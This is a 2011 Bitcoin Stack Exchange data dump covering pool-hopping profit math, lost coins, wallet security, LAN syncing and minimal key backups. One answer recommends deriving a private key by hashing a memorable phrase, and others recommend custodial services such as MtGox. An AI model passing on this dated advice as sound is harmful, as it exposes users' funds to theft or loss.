  <row Id="1639" PostTypeId="1" AcceptedAnswerId="1644" CreationDate="2011-10-18T17:42:03.453" Score="9" ViewCount="2883" Body="&lt;p&gt;It's been discussed and argued at great length whether pool hopping is ethical, but there is no debate about whether it works - I even have some first hand experience that says it increases mining profits, but I'd like to know exactly how much it can increase profits. What factors affect the profit increase (i.e. # of pools hopped, etc) and how we can mathematically derive a reasonable estimation of the increase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming a fixed hashrate, is there some general formula or at least a mathematical concept that can predict what % more a hopper will make than a non-hopper, relative to a baseline of expected income solo mining (or mining a single pool without hopping, ignoring fees)?&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="5406" LastEditDate="2016-03-07T10:31:26.587" LastActivityDate="2016-03-07T10:31:26.587" Title="Pool Hopping Math" Tags="|mining-pools|mining-profitability|pool-hopping|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1640" PostTypeId="2" ParentId="1639" CreationDate="2011-10-18T18:04:01.137" Score="5" Body="&lt;p&gt;Let's get a baseline by looking at the conditions that are the most favorable to hopping. Let's assume a hopper has his choice of an infinite number of pools that have no defenses against pool hopping. And we'll assume no pool fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the ideal hopping strategy would be to get the first share after a block has been found for a pool that divides the block reward among those who have contributed shares towards that block. With an infinite number of pools, he can always find a pool that has had no shares contributed since it last found a block. (This is, of course, an unrealistic assumption. The point is to show the best a hopper can do.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that if he finds a block in his hash, he gets the &lt;em&gt;full&lt;/em&gt; reward! Since he is submitting the first share to a pool after it has found a block, if a block is solved, he is the only one who gets any shares. Hence he gets the full reward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, consider this -- if the next share submitted finds a block, the hopper gets half the block reward. So for every share he finds, he not only gets the full solo reward, he gets an additional, equal chance at 50% extra. The next share submitted to that pool also has the same chance of solving the block, and he would get 33% of the reward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can't simply add these percentages though, because each event is not a certainty. However, under realistic conditions, the first share submitted to a proportional pool after it has found a block is worth several times the average share.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, in reality, there are not an infinite number of pools and pools do have a fee. Also, a hopper has to choose a work unit to process and then won't have a share for some amount of time later -- during that time, the picture can change. And in general, a pool won't tell you exactly how many shares it has, so you have to estimate based on its estimated total hashing power and its announced blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's hard to make a model that tracks the complex real-world interplay of pool fees, fixed numbers of pools, and different pool payouts. However, hoppers I've spoken to have reported incomes 20%-35% above baseline. The best mathematical models we have predict 25%-30%. See this article on &lt;a href=&quot;http://bitcoin.atspace.com/poolcheating.pdf&quot; rel=&quot;nofollow&quot;&gt;pool cheating&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-10-18T18:38:50.943" LastActivityDate="2011-10-18T18:38:50.943" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1641" PostTypeId="2" ParentId="1638" CreationDate="2011-10-18T18:30:34.173" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Would this effect the value of bitcoin indirectly?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Simply put, yes. If the number of bitcoins in circulation were to decrease the bitcoins that are still in circulation would be worth more. That is, of course, if the faith in Bitcoin as a currency remains the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In practice, if a &lt;em&gt;huge&lt;/em&gt; part of the bitcoins would suddenly disappear there would probably be some sort of panic. Trying to say exactly how this would affect the value of Bitcoin would mostly be speculation though.&lt;/p&gt;&#xA;" OwnerUserId="105" LastActivityDate="2011-10-18T18:30:34.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1642" PostTypeId="2" ParentId="1638" CreationDate="2011-10-18T18:44:58.903" Score="4" Body="&lt;p&gt;The value of a bitcoin would increase because the supply would be lowered. Because bitcoins are pretty much infinitely divisible, the usefulness of bitcoins and the ability to use them in commerce would not be affected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it does create one problem. It makes the future supply of bitcoins much harder to predict. If you take the absurd extreme where, say, 95% of the supply of bitcoins is believed to have been lost, you always have the risk that someone will acquire the ability to spend a large sum. If that happens, the value of bitcoins will drop due to the sudden supply increase. If there's a realistic fear that this will happen, people will be less willing to store their assets in bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This fear can increase the velocity of bitcoins through the marketplace. It can also increase the interest in exchanges between bitcoins and other currencies, as people prefer to hold wealth in a currency with a more predictable supply.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although this outcome is not that likely, I believe it was a mistake not to design something into the protocol from the beginning to deal with it. I discuss one such solution in my &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/484/why-doesnt-bitcoin-return-lost-coins-back-into-the-block-reward/508#508&quot;&gt;answer to 'Why doesn't Bitcoin return lost coins into the block reward&lt;/a&gt;. Though I realize that 20 years is not long enough.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2011-10-18T18:44:58.903" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1643" PostTypeId="2" ParentId="1635" CreationDate="2011-10-18T18:52:06.237" Score="9" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;if I buy bitcoins, what will I need to know about the software involved?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You don't have to know anything really, if you don't want to.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;and where should I keep my bitcoin wallet?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you don't want to learn about the software or how to keep your wallet secure you should try to find the most reputable e-wallet and keep your money there. People will have different opinions on which one is the safest so have a look around, read forum threads, use something that is well established. &lt;a href=&quot;https://mtgox.com/&quot;&gt;MtGox&lt;/a&gt; is one option that is well established and is also the exchange with the highest volume.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I have a home computer and I have a Google account. Can the latter be used?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you don't want to use an e-wallet you could download the official client from &lt;a href=&quot;http://www.bitcoin.org&quot;&gt;bitcoin.org&lt;/a&gt; and store your money in its wallet. Your money is then stored in a file on your computer. You could use your Google account to backup that file (your wallet). That would basically mean that the same money is stored in two places - on your own computer, and in your Google account.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What security issues are involved?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you choose the option of downloading the client it means that anyone who gets ahold of your wallet file can spend your money. If you have uploaded the wallet to your Google account that simply means that there are two places to rob you. It would be enough for the thief to get it either from your home computer &lt;strong&gt;or&lt;/strong&gt; from your Google account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is an option in the client to encrypt the wallet using a password. That way anyone who gets ahold of your wallet file can't use your money unless they also know your password. Things to keep in mind here is that if you have some malware on your computer it is possible that it could sniff that password as you type it and then the encryption won't help you. Also, if you forget your password your money is gone. There is no way to recover it.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If I'm travelling and far from home, how would I have access to my bitcoins?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Then the simplest way would be to use the e-wallet option.&lt;/p&gt;&#xA;" OwnerUserId="105" LastActivityDate="2011-10-18T18:52:06.237" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1644" PostTypeId="2" ParentId="1639" CreationDate="2011-10-18T19:20:31.123" Score="14" Body="&lt;p&gt;The parameters that affect profitability of hopping are the number of proportional pools, the accuracy with which the hopper can choose at any time the one with the youngest round, and the hashrate of all hoppers combined in comparison with the hashrate of continuous miners.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The expected reward for a share submitted to a proportional pool (expressed as a multiple of the fair reward) is a function of the round age (ratio between number of shares already submitted and the difficulty), namely f(x) = Exp(x)E1(x) where E1 is an exponential integral (this is found by taking the average reward over the round length distribution conditioned on it lasting at least as long as it has). This function is monotonically decreasing, so the hopper will always choose the pool with the youngest round. So his long-term advantage is the average of this function at the minimum age among all pools. With m pools the minimal age at any point follows the exponential distribution with mean 1/m, so the more pools the better the payouts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For large m the multiple is (m*ln(m))/(m-1), assuming flawless execution and that the hoppers constitute a negligible portion of the pools. (It is also possible to construct models that relax these assumptions.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is thoroughly discussed in &lt;a href=&quot;https://bitcoil.co.il/pool_analysis.pdf&quot;&gt;Analysis of Bitcoin pooled mining reward systems&lt;/a&gt;, appendix &quot;Pool-hopping in proportional pools&quot; (the appendix assumes the relevant sections in the body have been read).&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2011-11-07T14:50:36.360" LastActivityDate="2011-11-07T14:50:36.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1645" PostTypeId="2" ParentId="1635" CreationDate="2011-10-18T19:55:20.773" Score="5" Body="&lt;p&gt;It depends on how much security you want. If you only have a few bitcoins to get started you can get by with only medium security, for which simply installing the software or any eWallet will be fine. (Just be sure to tighten up security before you invest your entire life savings into Bitcoin). For absolute convenience you can't beat &lt;a href=&quot;https://www.instawallet.org/&quot;&gt;Instawallet&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When it's time to add more security, keep in mind you need to protect against both loss and theft, and that the former is much more likely. So err on the side of having more copies with more availability for your data.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The first step will be to locate the wallet.dat file on your computer and include it in a routine backup procedure. Once a week should be fine. If you change computers make sure to take it with you. If you're using an eWallet, store your password in several safe places.&lt;/li&gt;&#xA;&lt;li&gt;The next step up is using the new wallet encryption feature. This makes theft harder but loss easier, so make sure the password is written down in a safe place. Note that this isn't airtight security, you're still vulnerable to keyloggers and other sophisticated infections.&lt;/li&gt;&#xA;&lt;li&gt;The next step is to separate your everyday use wallet from a savings wallet. This can require a bit more skills to do properly - the basic idea is to keep the savings wallet in a secure machine (preferably Linux) and not let it get in contact with a vulnerable system. You'll only spend from this wallet occasionally so it's ok if accessing it as a bit of a hassle, depositing funds in is easy. Make sure to take precautions against loss.&lt;/li&gt;&#xA;&lt;li&gt;In the future you will also be able to incorporate two-factor authentication to your wallets, which when done correctly can give very high security.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;To access your bitcoins while traveling, you can use either a remote login software such as &lt;a href=&quot;https://secure.logmein.com/&quot;&gt;LogMeIn&lt;/a&gt;, or an eWallet (memorizing or taking with you your password). Even if you don't use an eWallet normally, you can transfer to one how many bitcoins you think you'll need.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2011-10-18T19:55:20.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1646" PostTypeId="2" ParentId="1526" CreationDate="2011-10-18T20:48:22.630" Score="5" Body="&lt;p&gt;The main advantage of the staircase rewards is simplicity. It's easier to implement; easier to describe; easier to plan with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main disadvantage is that it is less mathematically elegant. It will not be very disruptive in practice because it is known in advance and can be planned for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The early adopter advantage is not a consideration, as it can trivially be controlled with the timescale parameter.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2011-10-18T20:48:22.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1647" PostTypeId="2" ParentId="1638" CreationDate="2011-10-18T21:00:43.217" Score="10" Body="&lt;p&gt;Economic theory tells us the price would rise.  It would have a deflaitonary effect on bitcoin economy.  However because bitcoins are so easily divisible it would not impact the ability for the network to function.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If 90% of bitcoins were lost/destroyed that would leave 2.1 million &quot;whole&quot; bitcoins in circulation.  This wouldn't be an issue because currently bitcoin network supports transactions down to one satoshi (0.00000001 BTC) which is 210 trillion discrete units of exchange.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is possible to allow smaller units of exchange however I will illustrate that is unecessary.  The world's money supply (M0) is valued at ~ $20 trillion.  If entire world switched to using bitcoin for all commerce the value of a &quot;whole&quot; bitcoin would be $9,524,000 each.  However the smallest unit 1 satoshi would be worth $0.10 Even with 90% of bitcoins destroyed/lost there would be sufficient units remaining to allow commerce down to a 10 cent granularity with Bitcoin replacing the entire world's money supply.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would result in some changes in language.  Obviously most people wouldn't value things in terms of bitcoins but rather in smaller units like satoshi's (0.00000001 BTC).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example a fastfood meal could be priced as $5USD, 0.00000053 BTC, or 53 satoshi's. Obviously 53 is far easier for humans to express than 0.00000053 BTC despite them having equivelent value.  Given the high value of a single BTC, &quot;whole&quot; BTCs would rarely be used other than to express things that are currently express in millions of dollars (like salaries of celebrities, values of corporations, size of national debts, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Satoshi is used as an example but alternatively SI prefixes could be used. For common usage prices in fractional μBTC (micro bitcoins) makes the most sense with 1 μBTC = 1E-6 BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some examples:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&quot;Man gold broke 200 μBTC today&quot;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&quot;The US Congress raised the minimum wage to 1.50 μBTC effective Jan 1&quot;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&quot;I got the job.  Starting salary is 8,400 μBTC a year&quot;&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="307" LastEditDate="2011-10-19T12:44:25.843" LastActivityDate="2011-10-19T12:44:25.843" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1648" PostTypeId="1" AcceptedAnswerId="1649" CreationDate="2011-10-19T00:24:01.683" Score="9" ViewCount="188" Body="&lt;p&gt;What services are available to publicly raise Bitcoin funds? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm considering setting up a Bitcoin fund that would accept BTC donations. If the fund doesn't reach a certain value after a time, I'd like it to refund the BTC. Also, I'd like to give donors the option of withdrawing their donations once a week. It needs to be safe from hackers (eg. the BTC are stored on MtGox with Yubikey protection), and transparent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously I don't want to use a regular bitcoin wallet address as the public wouldn't trust it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anything like this exist?&lt;/p&gt;&#xA;" OwnerUserId="186" LastEditorUserId="186" LastEditDate="2011-10-19T02:45:03.607" LastActivityDate="2011-10-19T02:45:03.607" Title="Is there a way to publicly raise Bitcoin funds?" Tags="|services|escrow|investing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1649" PostTypeId="2" ParentId="1648" CreationDate="2011-10-19T02:16:57.427" Score="3" Body="&lt;p&gt;There is plans to implement conditional transactions which would do some of the things you indicated.   That hasn't been implemented yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do what you want would require creating website from end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example you could display current balance &amp;amp; goal as well as the number of donators.  When someone donates you could have them provide a &quot;return address&quot; (in case it is different) that can't be changed and a return password (which you encrypt).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While you said you want to use Mt. Gox I don't see how that would increase trust and it would make automating deposits and returns much more difficult.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short it can be done but there is no easy automated way to do it within the Bitcoin protocol so you will have to custom build a lot of the functionality.&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2011-10-19T02:16:57.427" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1650" PostTypeId="1" CreationDate="2011-10-19T05:48:03.180" Score="8" ViewCount="780" Body="&lt;p&gt;This is the scenario:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;2 computers on a LAN with private IPs (192.168.X.X)&lt;/li&gt;&#xA;&lt;li&gt;router forwards port 8333 only to one of them (the 2nd one).&lt;/li&gt;&#xA;&lt;li&gt;one computer has the full blockchain updated in its Bitcoin client, &lt;/li&gt;&#xA;&lt;li&gt;the 2nd computer has only half the size of the block chain (Bitcoin client has not been run for a long time).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Why doesn't the Bitcoin client from the second computer detect the first computer and receive the remaining missing blocks at high LAN speed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What i see is a very slow update of the chain on the 2nd computer.&lt;/p&gt;&#xA;" OwnerUserId="591" LastEditorUserId="4171" LastEditDate="2013-07-18T17:31:24.560" LastActivityDate="2013-07-18T17:31:24.560" Title="Why isn't there a fast blockchain update inside a LAN behind a router between two Bitcoin clients?" Tags="|client|blockchain|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1652" PostTypeId="2" ParentId="1650" CreationDate="2011-10-19T06:19:21.093" Score="9" Body="&lt;p&gt;You can run Bitcoin with the -connect=192.168.1.3 (or whatever) switch to connect one local node to another one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will still not get the blocks &lt;em&gt;super&lt;/em&gt; quickly, since the second node still needs to build a database and verify every transaction in the chain.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2011-10-19T06:19:21.093" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1653" PostTypeId="2" ParentId="1650" CreationDate="2011-10-19T09:37:40.120" Score="11" Body="&lt;p&gt;Because the bitcoin client tries to avoid being &quot;fenced in&quot; by an attacker who wants to control all the information flowing to it. It does this by connecting to more distant nodes, i.e. &lt;a href=&quot;https://github.com/bitcoin/bitcoin/issues/252&quot;&gt;nodes which don't share the first two octets of the IP address&lt;/a&gt;. (&lt;strong&gt;update&lt;/strong&gt;: the &lt;a href=&quot;https://github.com/bitcoin/bitcoin/commit/5fee401fe14aa6459428a26a82f764db70a6a0b9#src/addrman.cpp&quot;&gt;new address manager code&lt;/a&gt; still defends against this type of attack, but probably not in exactly the same way any more.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you know of a trusted nearby node, you can configure it with the &lt;code&gt;-connect&lt;/code&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin#Command-line_arguments&quot;&gt;command line option&lt;/a&gt; or the &lt;code&gt;connect=&lt;/code&gt; setting in &lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin#Bitcoin.conf_Configuration_File&quot;&gt;bitcoin.conf&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerDisplayName="user220" LastEditorDisplayName="user220" LastEditDate="2012-04-13T10:25:18.743" LastActivityDate="2012-04-13T10:25:18.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1654" PostTypeId="1" AcceptedAnswerId="1656" CreationDate="2011-10-19T10:40:11.773" Score="11" ViewCount="674" Body="&lt;p&gt;As far as I gather a wallet can remain offline indefinitely transactions are being sent to it. The network will keep track of the transaction so that the next time it is connected it will catch up. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the entire wallet file necessary for this process? is it possible in theory to strip it down at all and recreate from even less than a minimal wallet file? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would essentially like to know what is the minimum theoretical data footprint required to obtain access to balance. The motivation behind my question is that many long term archival data formats are not very dense. Like stone etchings for example&lt;/p&gt;&#xA;" OwnerUserId="136" LastEditorUserId="136" LastEditDate="2011-10-19T14:11:55.920" LastActivityDate="2011-10-21T13:17:06.713" Title="What is the absolute minimum amount of information required to have access to a bitcoin balance and or a wallet file?" Tags="|wallet|backup|future-proof|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1655" PostTypeId="2" ParentId="1654" CreationDate="2011-10-19T11:41:50.993" Score="4" Body="&lt;p&gt;You only need to have the private key of the address. So if you have a wallet with lots of address, you need to store at least the private key for each of these addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To export/import the private keys from/into a wallet file you can use &lt;a href=&quot;https://github.com/jackjack-jj/pywallet&quot; rel=&quot;nofollow noreferrer&quot;&gt;Pywallet&lt;/a&gt; (check &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/447/is-there-some-way-to-merge-two-wallets-or-to-import-export-addresses&quot;&gt;this question&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For long term archival it is common to write down private keys in a piece of paper and keep it in a safe place. &lt;a href=&quot;https://www.bitaddress.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitaddress.org&lt;/a&gt; might be useful for that. &lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2011-10-19T11:41:50.993" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1656" PostTypeId="2" ParentId="1654" CreationDate="2011-10-19T12:36:45.837" Score="7" Body="&lt;p&gt;Nmat answer is correct the absolute minimum you would need to rebuild a wallet is the private key of the address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An alternative is a deterministic wallet.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/718/what-is-a-deterministic-wallet&quot;&gt;What is a deterministic wallet?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A deterministic wallet can use cryptographic algorithms to create (and recreate) and wallet containing multiple public/private keys from a single passphrase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A deterministic wallet has the advantage of being able to create an infinite number of addresses from a single passphrase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A deterministic wallet has the disadvantage that if the passphrase is retained but the software &amp;amp; algorithm is lost then the addresses can never be recreated and all value lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That risk could be partially mitigated by keeping multiple copies of the wallet generation software both online and offline.  As a final backup the algorithm (and optionally  the passphrase) could be etched or cut into a thin sheet of aluminum (8.5&quot; x 11&quot; to simplify storage) using a laser cutter.  This would provide a time resistant disaster recovery method.  Using a sheet with dimensions of standard documents would allow it to be easily stored in a safe or safety deposit box.  This task is simplified because many cryptographic algorithms can be expressed using diagrams which reduces the amount of space necessary to express the algorithm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example SHA-256 (and SHA-512) can be partially expressed by this diagram:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DH5xw.png&quot; alt=&quot;SHA-256 diagram&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To completely express the algorithm you also need to record each variable, the number of rounds, and the meaning of the symbol operators.&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2011-10-21T13:17:06.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1657" PostTypeId="2" ParentId="924" CreationDate="2011-10-19T15:15:57.180" Score="2" Body="&lt;p&gt;It is highly improbable there will every be a genuine need to make &quot;Bitcoin 2.0&quot;.  The Bitcoin network can be modified over time to incorporate new features, and improvements.  This evolving software model makes the need for a &quot;clean break&quot; unlikely. In a similar fashion that while the internet evolved far beyond its original concept, we never turned off the &quot;old internet&quot; and started a &quot;new internet&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer the question I will assume a new block chain is needed.  There is a method to make a clean switch with minimal legacy entanglements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) The bitcoin community should determine the new Bitcoin protocol (BTC2) and at the same time reach a consensus or at least super majority on when the current Bitcoin should end (BTC1).  It would be possible to modify current Bitcoin protocol to allow stakeholders to vote based on the number of Bitcoins they hold at the time of the proposal.  Any proposal to make to new block chain should have widespread support to avoid a scenario where it fragments the Bitcoin economy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) A omega block (last block) would be announced after debate and voting.  Any bitcoins received after that block would not be able to migrate to the new block chain.  Users should take care to not accept Bitcoins after the omega block.  To avoid chaos and disruptions this should be announced well in advance, possible issuing new clients which warn users and even reporting post-omega transactions as bad (no value). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) After the omega block is signed it will be reduced.  The only data relevent at to the new chain is the current location of every single bitcoin.  This means saving all active public addresses and their current value from the existing block chain.  This will result in a significant reduction in size of block chain as the history of coins is no longer relevent, only their final location is.  Likewise any public address with a value of 0 BTC doesn't need to be saved. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) Either include the reduced block chain or a cryptographic hash in the genesis block.  This provides a bridge between the old network and new. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;5) The new block chain now has all the required information to migrate coins as needed by their owners.  Since the BTC2 network won't &quot;know&quot; of transactions after the Omega block anyone coins transfered after that will have no value in the new network and thus no value in old network.  It won't be possible to force BTC1 to stop as it is a P2P network but it is unlikely there will be much demand for unofficial post omega &quot;orphaned&quot; BTC1 transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;6) To avoid complicating the BTC2 protocol there will be a single transaction possible w/ BTC1 addresses/coins called &quot;TRANSFER&quot;.  The TRANSFER transaction will take a BTC1 public address and BTC2 public address and the transaction will be signed by the BTC1 private key.  Thus the &quot;owner&quot; of any coin at the time of omega block will be the only one who can transfer it to the new network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;7) Once coins are transfered to BTC2 network via the TRANSFER transaction the BTC1 public/private key and wallet have no value or use and can be deleted by the owenr.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;8) During the transistion it will be necessary for wallets to have a copy of reduced BTC1 omega block chain so they are &quot;aware&quot; of BTC1 and TRANSFER protocol.  However once transfered a user will never need a &quot;migration&quot; wallet so eventually versions which drop all legacy support (TRANSFER protocol &amp;amp; omega block chain) will be released.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;9) Nodes could choose at anytime to be &quot;legacy free&quot; and will ignore TRANSFER transactions and likely as time passes many nodes will stop accepting these legacy transactions as the volume of coins transfered will continually decline.  As long as one node supports legacy addresses and TRANSFER transactions it will be possible to eventually have those transactions confirmed albeit with significantly increased confirmation times.&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="307" LastEditDate="2011-10-19T21:09:43.687" LastActivityDate="2011-10-19T21:09:43.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1658" PostTypeId="2" ParentId="1654" CreationDate="2011-10-19T18:21:33.900" Score="3" Body="&lt;p&gt;Any 256-bit value is a valid private key. And &lt;em&gt;any&lt;/em&gt; value at all has a SHA-256 hash that is a 256-bit value. So essentially, anything that an attacker cannot predict is sufficient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The method is as follows:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Pick something an attacker cannot predict, like &quot;U cannot h4z my b1tCOINz!!&quot;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Compute the SHA-256 hash of that string.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Compute the corresponding public key for that ECDSA private key.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Compute the corresponding bitcoin address for that public key.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Send the funds to that address.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;To retrieve the funds, perform step 2 again, import that private key into your wallet, and re-scan.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.casascius.com/&quot; rel=&quot;nofollow&quot;&gt;Casascius&lt;/a&gt; uses this same method in their physical bitcoins. They use it to minimize the amount of information that needs to be printed inside the coin. So you can actually use the same tools.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-10-19T18:21:33.900" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1659" PostTypeId="1" CreationDate="2011-10-19T23:13:05.363" Score="16" ViewCount="1620" Body="&lt;p&gt;Any idea why bitcoin prices have fallen so in September and October of 2011?  It seems like back in August, one bitcoin cost about US$17, whereas in late October, it's just somewhat over US$2.&lt;/p&gt;&#xA;" OwnerUserId="492" LastEditorUserId="85" LastEditDate="2011-10-19T23:27:18.120" LastActivityDate="2013-07-14T13:27:01.020" Title="Why have prices fallen so drastically around October 2011?" Tags="|exchanges|exchange-rate|marketplace|" AnswerCount="5" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
